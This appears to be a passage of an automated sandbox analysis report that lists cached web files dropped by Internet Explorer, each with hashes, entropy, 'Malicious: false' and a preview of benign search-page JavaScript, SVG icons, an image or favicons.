Preview:	var KeyPressScroll;(function(){function i(i){var u=i.key,f=document.activeElement,r,e,o;document.querySelector("cib-serp[mode='conversation']")\|\|document.querySelector(".b_selected")\|\|typeof i.composedPath=="function"&&(r=i.composedPath(),r&&r[0]&&(r[0]instanceof HTMLInputElement\|\|r[0]instanceof HTMLTextAreaElement))\|\|i.ctrlKey\|\|i.shiftKey\|\|i.metaKey\|\|i.altKey\|\|!u\|\|u.length!==1\|\|u===" "\|\|f instanceof HTMLInputElement\|\|f instanceof HTMLTextAreaElement\|\|f instanceof HTMLElement&&f.isContentEditable\|\|(typeof sj_log=="function"&&sj_log("CI.KeyPressScroll","KeyBoard_Triggered",u),n.value="",t.scrollIntoView({behavior:"smooth"}),t.style.display="block",e=_ge("sb_form"),e&&Lib.CssClass.remove(e,"form_sb_hidden"),n.focus(),n.click(),o=n.value,n.setSelectionRange(o.length,o.length))}function r(){n&&t&&sj_be(document,"keydown",i,!0)}var n=_ge("sb_form_q"),t=_ge("b_header");r()})(KeyPressScroll\|\|(KeyPressScroll={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\FdV4c_-YGVxX40_HeKzMQcIRcuc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1725), with no line terminators
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	5.274895734185393
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8A47n0dvZ1fj5O7Rv75gZcODcv/Kum65X9gFiO5yV94GVvwCQO:7Lps4YJOVuK2KG65tggZV5
MD5:	2EF3074238B080B648E9A10429D67405
SHA1:	15D57873FF98195C57E34FC778ACCC41C21172E7
SHA-256:	E90558EB19208AD73F0DE1CD9839D0317594BF23DA0514F51272BF27183F01DA
SHA-512:	C1D7074A0EBF5968B468F98FC4C0C7829999E402DD91C617E679EEB46C873DC04096CBF9277E115FC42C97516A6C11A9F16AFA571E00F0D826BEB463E2D1F7B0
Malicious:	false
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var c;u=u\|\|r;var o=_ge("id_rh"),e=_ge("rh_animcrcl"),l=_ge("id_rc");if(o&&l&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var a=800,v=r-n,s=Math.min(100,100(r/u)),h=e&&s>=100&&n<u,y=v>0,p=Date.now();s>=100&&Lib.CssClass.add(o,"rh_reedm");e&&Lib.CssClass.add(e,"anim");c=function(u){if(u){var k=Date.now(),w=k-p,b=Math.min(w/a,1),d=h?tb:ts/100,g=y?Math.min(Math.floor((n+bv)/f)*f,r):r,l=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",d.toString()+","+t.toString());u.innerText=g.toString();(h\|\|y)&&(w<a?i(function(){return c(u)}):(u.i

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Fsa_OI0AplCnVoXGca8ALOo0S0s[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\G_yFy6XEJBNpQawd_XeaVjtb7tQ[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (7155), with no line terminators
Category:	dropped
Size (bytes):	7155
Entropy (8bit):	5.435598317550486
Encrypted:	false
SSDEEP:	192:paWT3REjhNn5y1Myoy+y25syZWNKo5xp5VUILj/rVEkVu4akUr:paWzEhNn5y1Myoy+y25syq/VUIX/1aka
MD5:	DC221228E109F89B8B10C48F2678FB46
SHA1:	1BFC85CBA5C424136941AC1DFD779A563B5BEED4
SHA-256:	F4FB7234959F48C2B2CA73FD6C35D36EAF65D8C431D982A1BA208F5CDC766419
SHA-512:	46F49E5AC18436251778D1F50C027729A2442ED6541C3162D878720703E37797B6028D96EB1568C23EC5006FB022C8E05855E250D6A1A590F41E890866529CD2
Malicious:	false
Preview:	var QuickSearch;(function(n){function et(n){var t=_w.location.protocol+"//"+_w.location.hostname+"/chat?q="+encodeURIComponent(n)+"&showconv=1&sendquery=1&form=IPRV10";a?window.open(t):_w.location.href=t}function w(n){sb_st(function(){var it,rt,ut,ft,f,a,w,st,d,at,s,v,g,vt,ht,y,p,ct,nt;if(l=null,NodeList.prototype.forEach\|\|(NodeList.prototype.forEach=function(n,t){t=t\|\|window;for(var i=0;i<this.length;i++)n.call(t,this[i],i,this)}),f=window.getSelection(),t=(it=f===null\|\|f===void 0?void 0:f.toString())!==null&&it!==void 0?it:"",a=_ge("qs_searchBox"),w=o?_ge("mfa_root"):null,!o\|\|w!=null){var lt,et=!0;f!=null&&f.anchorNode!=null&&(lt=f.anchorNode.nodeValue\|\|f.anchorNode.textContent,et=!tt.some(function(n){return n!=null&&n!=undefined?n.contains(f.anchorNode):!1}),f.anchorNode.childNodes!=null&&f.anchorNode.childNodes.forEach(function(n){(n.nodeName==="INPUT"\|\|n.nodeName==="TEXTAREA")&&(et=!1)}));st=!0;dt()\|\|f.type=="Range"\|\|(st=!1);t.trim()!=""&&et&&st&&u&&t.trim().length<2048?(sj_log("C

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\G_yFy6XEJBNpQawd_XeaVjtb7tQ[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (7155), with no line terminators
Category:	dropped
Size (bytes):	7155
Entropy (8bit):	5.435598317550486
Encrypted:	false
SSDEEP:	192:paWT3REjhNn5y1Myoy+y25syZWNKo5xp5VUILj/rVEkVu4akUr:paWzEhNn5y1Myoy+y25syq/VUIX/1aka
MD5:	DC221228E109F89B8B10C48F2678FB46
SHA1:	1BFC85CBA5C424136941AC1DFD779A563B5BEED4
SHA-256:	F4FB7234959F48C2B2CA73FD6C35D36EAF65D8C431D982A1BA208F5CDC766419
SHA-512:	46F49E5AC18436251778D1F50C027729A2442ED6541C3162D878720703E37797B6028D96EB1568C23EC5006FB022C8E05855E250D6A1A590F41E890866529CD2
Malicious:	false
Preview:	var QuickSearch;(function(n){function et(n){var t=_w.location.protocol+"//"+_w.location.hostname+"/chat?q="+encodeURIComponent(n)+"&showconv=1&sendquery=1&form=IPRV10";a?window.open(t):_w.location.href=t}function w(n){sb_st(function(){var it,rt,ut,ft,f,a,w,st,d,at,s,v,g,vt,ht,y,p,ct,nt;if(l=null,NodeList.prototype.forEach\|\|(NodeList.prototype.forEach=function(n,t){t=t\|\|window;for(var i=0;i<this.length;i++)n.call(t,this[i],i,this)}),f=window.getSelection(),t=(it=f===null\|\|f===void 0?void 0:f.toString())!==null&&it!==void 0?it:"",a=_ge("qs_searchBox"),w=o?_ge("mfa_root"):null,!o\|\|w!=null){var lt,et=!0;f!=null&&f.anchorNode!=null&&(lt=f.anchorNode.nodeValue\|\|f.anchorNode.textContent,et=!tt.some(function(n){return n!=null&&n!=undefined?n.contains(f.anchorNode):!1}),f.anchorNode.childNodes!=null&&f.anchorNode.childNodes.forEach(function(n){(n.nodeName==="INPUT"\|\|n.nodeName==="TEXTAREA")&&(et=!1)}));st=!0;dt()\|\|f.type=="Range"\|\|(st=!1);t.trim()!=""&&et&&st&&u&&t.trim().length<2048?(sj_log("C

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Kc_oYjlyLU9K8HxJTWdgkolqhgA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (357), with no line terminators
Category:	dropped
Size (bytes):	357
Entropy (8bit):	5.100320804030099
Encrypted:	false
SSDEEP:	6:2LGXTMkCDpk6CSVKvxpKv8Ed7fxu7hJRJeGMYS+ePekKfT32PV9m+8mq1mqJFO:2QVlY8EbgRUGhS+eTKb2PVESq8qrO
MD5:	2DF9793CF020A37C88178BE84311427A
SHA1:	29CFE86239722D4F4AF07C494D676092896A8600
SHA-256:	A69D257EEE41E843881D548D2E4EE5A0727B889AB22BFFDAA8ED1074E802BCC6
SHA-512:	E9A35EC1E466FEB3E273FB991A3282BA1C45FD0EACEA956E9821914CC4261377684B062BDE888EBF5767BBC055DB191DC14E00AF8037B5607449C06E5D2DD082
Malicious:	false
Preview:	(function(){function r(n){if(n&&(i=0),!(i>60)){i++;var u=_w.CursorProgress\|\|_w.CursorProgressFull;u&&u.bind();t&&sb_ct(t);t=sb_st(r,1e3)}}function n(){r(!0)}var t=null,i=0;n();typeof sj_be!="undefined"&&sj_be(_w,"load",n);typeof sj_evt!="undefined"&&(sj_evt.bind("onP1",n),sj_evt.bind("onP1Lazy",n),sj_evt.bind("ajaxReady",n),sj_evt.bind("ajax.load",n))})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\UYtUYDcn1oZlFG-YfBPz59zejYI[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\b1UvgiIbimwO0MD72b316M0N024[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (16353)
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.3616074142612975
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfqyDOhKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNI:Y5Tifh3bBpBnqIH+Z6sepXv0I
MD5:	F4627499A9C17BE85BA524CB6F668601
SHA1:	B7C38363E93D3D9AD3E0674624F3697AF244039A
SHA-256:	095FE7D0DEB2B7925928A0EE1D5ADE2855F7869BC74C7F6A4B604EC236511F05
SHA-512:	C612E0438C055BE29C78D8A71C87DD609F45AA556B6893FBA07FC963D3CE0AF9899A01B940E939A70BAD55AB50FA9E9B2ADCFF956A9ED3252C11E4149AFA0DDA
Malicious:	false
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\b1UvgiIbimwO0MD72b316M0N024[2].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (22072)
Category:	dropped
Size (bytes):	22103
Entropy (8bit):	5.361178068077242
Encrypted:	false
SSDEEP:	384:Kh4kT1lYxfqyDOhKMpWMEVhbTDDoFWZ3BnqIfP5IDV6s4RKAwKXvUNuw+0/WPTAi:Y5Tifh3bBpBnqIH+Z6sepXv0uz8aV
MD5:	E6D1413E5F595F9F70187AA7641AF15E
SHA1:	6F552F82221B8A6C0ED0C0FBD9BDF5E8CD0DD36E
SHA-256:	F0CE767BC0F986E7752AFDDDDD978583127C68E7A4F03C87737C3A12E27FD59A
SHA-512:	F3A49B1B02DAF1BE6CDD5FC5CE875EC864F6C79DF986F586F6359D0F8DDB3BF71B30B6189C1466F2421F8E216246C4CD7F30026E45DDE9F59F5E27AEB8A2C956
Malicious:	false
Preview:	/!DisableJavascriptProfiler/.var BM=BM\|\|{};BM.config={B:{timeout:250,delay:750,maxUrlLength:300,sendlimit:20,maxPayloadSize:14e3},V:{distance:20},N:{maxUrlLength:300},E:{buffer:30,timeout:5e3,maxUrlLength:300},C:{distance:10}},function(n){function vt(){if(!document.querySelector\|\|!document.querySelectorAll){k({FN:"init",S:"QuerySelector"});return}w={};e=[];ft=1;ut=0;rt=0;o=[];s=0;h=!1;var n=Math.floor(Math.random()*1e4).toString(36);t={P:{C:0,N:0,I:n,S:ei,M:r,T:0,K:r,F:0}};pi()}function oi(n,t){var r={};for(var i in n)i.indexOf("_")!==0&&(i in t&&(n[i]!==t[i]\|\|i==="i")?(r[i]=t[i],n[i]=t[i]):r[i]=null);return r}function si(n){var i={};for(var t in n)n.hasOwnProperty(t)&&(i[t]=n[t]);return i}function b(n,t,r,u){if(!h){k({FN:"snapshot",S:n});return}r=r\|\|ni;t=t\|\|!1;var f=g()+r;ot(o,n)===-1&&o.push(n);t?(yt(),pt(t,u)):f>s&&(yt(),rt=sb_st(pt,r),s=f)}function k(n){var u={T:"CI.BoxModelError",FID:"CI",Name:ht,SV:ct,P:t&&"P"in t?d(t.P):r,TS:f(),ST:v},i,e;for(i in n)u[i]=n[i];e=d(u);wt(e)}func

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\chRhkXPE7Aab4f8A3WEJL9KYGvA[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (667), with no line terminators
Category:	dropped
Size (bytes):	667
Entropy (8bit):	5.251512275863699
Encrypted:	false
SSDEEP:	12:fr5esz7hNGwXI2QA3QglxfLQOtKfWM1kI2JGC+t5821xw9i/UJpN0I:fr5NhNGOgAggDDQOtjMbhH582Ugk0I
MD5:	2AB12BF4A9E00A1F96849EBB31E03D48
SHA1:	7214619173C4EC069BE1FF00DD61092FD2981AF0
SHA-256:	F8B5ACF4DA28E0617F1C81093192D044BD5A6CC2A2E0C77677F859ADCF3430AC
SHA-512:	7D5AAE775BE1E482EADA1F453BEA2C52A62C552FA94949E6A6081F322E679E916B1276BB59FF28CF7C86D21727BCC329ECB03E5D77CA93204E0CD2694FAA72BD
Malicious:	false
Preview:	sb_ie&&function(){function h(){if(t){var u=n.replace(/www\./i,"");return f&&i(t,r,n+"?PC="+f)\|\|i(t,r,n)\|\|i(t,r,u)\|\|i(t,r,n+"?Form=HPPDH1")\|\|i(t,r,n+"?PC=BNHP")\|\|i(t,r,n+"?PC=BNSR")}return 0}function c(){return i(_w.external,s,n)!=0}function l(){if(u){var n=2e+o;if(u==n)return!0}return!1}function a(){var n=_ge("hps");return n\|\|(n=sj_ce("span","hps"),n.style.behavior="url(#default#homepage)",sj_b.appendChild(n)),n}function i(n,t,i){try{return n[t](i)}catch(r){return 0}}var s="IsSearchProviderInstalled",r="isHomepage",n="http://"+_d.domain+"/",u=sj_cook.get("_UR","D"),f=sj_cook.get("SRCHS","PC"),t=a(),e=h(),o=c();l()\|\|(u=2e+o,sj_cook.set("_UR","D",u,1,"/"))}()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\dbmNS45xQvD1diApY1T2HExvOo8[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4934
Entropy (8bit):	7.782095567670307
Encrypted:	false
SSDEEP:	96:sHbZoNWsmjRgjXFQvdXNkuz4nicDWk+4Nf6Q2mKwADHfXC7OWn:sFmmjGjWddkuz4nicyktAtmtAbuLn
MD5:	FDA2CEAE0679611937E6E71F701A36AB
SHA1:	75B98D4B8E7142F0F57620296354F61C4C6F3A8F
SHA-256:	B818C1E9B0B46CCCDC158ACA581C3C5F4A9BD3DDA380DA03AF52F43F14F5651E
SHA-512:	904100EBE310AFDF86C2E4C9CBDDC118178D41B45D076BB6077DB8F3BCED8B3CEDF545CE079E39B6F8034C2247FD4C824C0522B6221E3CDC02423AF8EEB9F8A3
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:53:43....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................._..Z/9.....AhY...T0!Eu,..dk.....y. .LP.B..V..m@@f....<uf.......h...)8.2j..U...<.n....4.B.-....W..^.J..o.{.....z.....".s.,.S...;...^f<.O8,>u.s...n.)....\o..6.{.=#:(.F.;..;1].V.........U5.1..W..g7\|r5..==...Hy..h....@...KV.{.l.9.........F.S....N{9.Y..(C.f..u\..&OX..-..N..w\..(.:.1..:ldGW.q.!...mo...e.=........a2..:hkA.....Z.:r}.....Z[...../\...-..A.#..E-K.5..k........]....yQhiAF........cy.[...C..qg.j.Y..Q3.Uh(..X.>kjs..5.....=.M.J.m.Q...FE.m=s..>.WSv..J..42+....V..[....n,.h..5...\.I]...%T.0k.=...h..5.td....].@.\..^.r....d.f..[....k....0E.U..H.....G...]]Z.M.Y..-..I....%.......................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\favicon-trans-bg-blue-mg[1].ico

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	1.4428178104858655
Encrypted:	false
SSDEEP:	6:sfyl+rblmboWbol4bolnbsoItwqol0roooooosEol07ooooooooooolxo/lmyosh:suE9gwXZBQ4Nxbk7/GrQV/z1nfx
MD5:	30967B1B52CB6DF18A8AF8FCC04F83C9
SHA1:	AAF67CD84FCD64FB2D8974D7135D6F1E4FC03588
SHA-256:	439B6089E45EF1E0C37EF88764D5C99A3B2752609C4E2AF3376480D7FFCFAF2E
SHA-512:	7CB3C09A81FBD301741E7CF5296C406BAF1C76685D354C54457C87F6471867390A1AEED9F95701EB9361D7DFACCE31AFD1D240841037FC1DE4A120C66C1B088C
Malicious:	false
Preview:	...... .... .........(... ...@..... .........%...%........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................n...n...n....................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\favicon-trans-bg-blue-mg[2].ico

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	1.4428178104858655
Encrypted:	false
SSDEEP:	6:sfyl+rblmboWbol4bolnbsoItwqol0roooooosEol07ooooooooooolxo/lmyosh:suE9gwXZBQ4Nxbk7/GrQV/z1nfx
MD5:	30967B1B52CB6DF18A8AF8FCC04F83C9
SHA1:	AAF67CD84FCD64FB2D8974D7135D6F1E4FC03588
SHA-256:	439B6089E45EF1E0C37EF88764D5C99A3B2752609C4E2AF3376480D7FFCFAF2E
SHA-512:	7CB3C09A81FBD301741E7CF5296C406BAF1C76685D354C54457C87F6471867390A1AEED9F95701EB9361D7DFACCE31AFD1D240841037FC1DE4A120C66C1B088C
Malicious:	false
Preview:	...... .... .........(... ...@..... .........%...%........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................n...n...n....................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fdVZU4ttbw8NDRm6H3I5BW3_vCo[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	671
Entropy (8bit):	5.014579690661168
Encrypted:	false
SSDEEP:	12:tbH4/KYf3UnlcWYl7qy/gk63xsV8tGXcqecDDWUV8jEPsycd23Wt+MKsAnueOc+d:t74LfEnTYpq+gTxs6GUUQEPssmYsAnuH
MD5:	D9ED1A42342F37695571419070F8E818
SHA1:	7DD559538B6D6F0F0D0D19BA1F7239056DFFBC2A
SHA-256:	0C1E2169110DD2B16F43A9BC2621B78CC55423D769B0716EDAA24F95E8C2E9FE
SHA-512:	67F0BC641D78D5C12671FDD418D541F70517C3CA72C7B4682E7CAC80ABE6730A60D7C3C9778095AAB02C1BA43C8DD4038F48A1A17DA6A5E6C5189B30CA19A115
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">..<path fill="#919191" d="M15.707,0.293c-0.391-0.391-1.024-0.391-1.415,0L7.994,6.591L1.696,0.293C1.298-0.091,0.665-0.08,0.281,0.318...c-0.375,0.388-0.375,1.003,0,1.391l6.298,6.298l-6.298,6.298c-0.384,0.398-0.373,1.031,0.025,1.415c0.388,0.375,1.003,0.375,1.391,0...l6.298-6.298l6.298,6.298c0.398,0.384,1.031,0.373,1.415-0.025c0.375-0.388,0.375-1.003,0-1.39L9.409,8.006l6.298-6.298...C16.098,1.317,16.098,0.684,15.707,0.293z"/>..<path fill="none" d="M0,0h16v16H0V0z"/>..</svg>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\hoJZx9xRdanMHi7INfPZtL0_VnM[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (891), with no line terminators
Category:	dropped
Size (bytes):	891
Entropy (8bit):	5.1332488883366585
Encrypted:	false
SSDEEP:	24:2QG5MCVFmMCBTotKMCWqEZWMCUHK09nzEIzGln:GbGb+Eb5EgbCr9nz+ln
MD5:	02B0B245D09DC56BBE4F1A9F1425AC35
SHA1:	868259C7DC5175A9CC1E2EC835F3D9B4BD3F5673
SHA-256:	62991181637343332D7B105A605AB69D70D1256092355CFC4359BEE7BDBFB9C6
SHA-512:	CBB43000A142807FF1BB3BFAC715CEF1240233117C728F357C824CE65B06BE493DF2306C7B03598817F09B02E9E36EC52314F88467679C5BEF3EE1504A10C7E6
Malicious:	false
Preview:	(function(){function e(){var t,r;n&&(n.value.length>0?(t=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|t===void 0?void 0:t.add(sj_b,i):(r=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|r===void 0?void 0:r.remove(sj_b,i))}function o(t){var e,o;n.value="";n.innerText="";u&&f&&(u.innerText="",f.classList.remove("nudgeVisible"));(e=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|e===void 0?void 0:e.remove(sj_b,i);sj_log("CI.XButton","Clicked","1");r&&((o=Lib===null\|\|Lib===void 0?void 0:Lib.CssClass)===null\|\|o===void 0?void 0:o.add(r,"b_focus"));n.focus();n.click();t&&(t.preventDefault(),t.stopPropagation())}var r=_ge("b_header"),n=_ge("sb_form_q"),t=_ge("sb_clt"),u=_qs(".qfc.b_searchbox .ghost"),f=_qs(".qfc.b_searchbox .nudge"),i="b_sbText";n&&t&&(sj_be(t,"click",o),sj_be(t,"keydown",function(n){var t=n.code\|\|n.key;t==="Enter"&&o(n)}),sj_be(n,"keyup",e),e())})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ieSu8a5yrw93MLISV3F2AD60S6I[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (15678), with no line terminators
Category:	modified
Size (bytes):	15678
Entropy (8bit):	5.324358729025482
Encrypted:	false
SSDEEP:	384:90RU0qFPpFQ2cLJoyPKWrEysjXryLnmVyYNnL3/9BD1DdNCgTlPlMHEyM2hluZX7:90RtqppFyoyCcEys7UnpYdv9j2gRPlm8
MD5:	F420F6495D96A09B18AE9C2D2D53663C
SHA1:	89E4AEF1AE72AF0F7730B212577176003EB44BA2
SHA-256:	CB2E879CEE77E2116DA4608857CA8D66A053FADF41C72BA60C1CEE0100DE1EC4
SHA-512:	9FB9C37C154B855314D185AADC055134975E0F7A2703EA362DFC2F8DED589ABA77DC25F006CF004DD193EA68B026BC2B089EC27ADA26C81CA950A83DF0FE154C
Malicious:	false
Preview:	define("ajax.shared",["require","exports"],function(n,t){function r(n){var r=keyMap[n]?keyMap[n]:keyMap.Prefix+n,i=document.getElementById(r),t;return!i&&document.getElementsByClassName&&(t=document.getElementsByClassName(r),i=t&&t.length?t[0]:null),i}function u(n){var f=sj_ce("a"),t,r,u;return f.href=n,t=f.pathname,t[0]!=="/"&&(t="/"+t),t=t.replace(i,"/"),r="",t==="/"?r=t:(u=n.indexOf(t),r=u>-1?n.substr(u):""),r}function f(n,t,i){for(;n&&n!==document;n=n.parentNode){if(n[t]===i)return n;if(n===undefined)break}}var i=/^(\/)(\1+)/;t.useSetBag=!1;t.ajaxUrlBag="";t.getPlaceholder=r;t.getRelativeUrl=u;t.getParentContainer=f});define("ajax.cache",["require","exports"],function(n,t){function w(n,t,i,r){if(n>=0){var u=g(n);switch(t){case"Script":u.ScriptHolder.push(r);break;case"Style":u.Style+=r;break;case"EOS":u.Script=u.ScriptHolder;delete u.ScriptHolder;u[t]=r;c(i,u);break;default:u[t]=r}}}function b(n){var t=sessionStorage.getItem(i+n);return t?JSON.parse(t):null}function c(n,t){_G.JCach

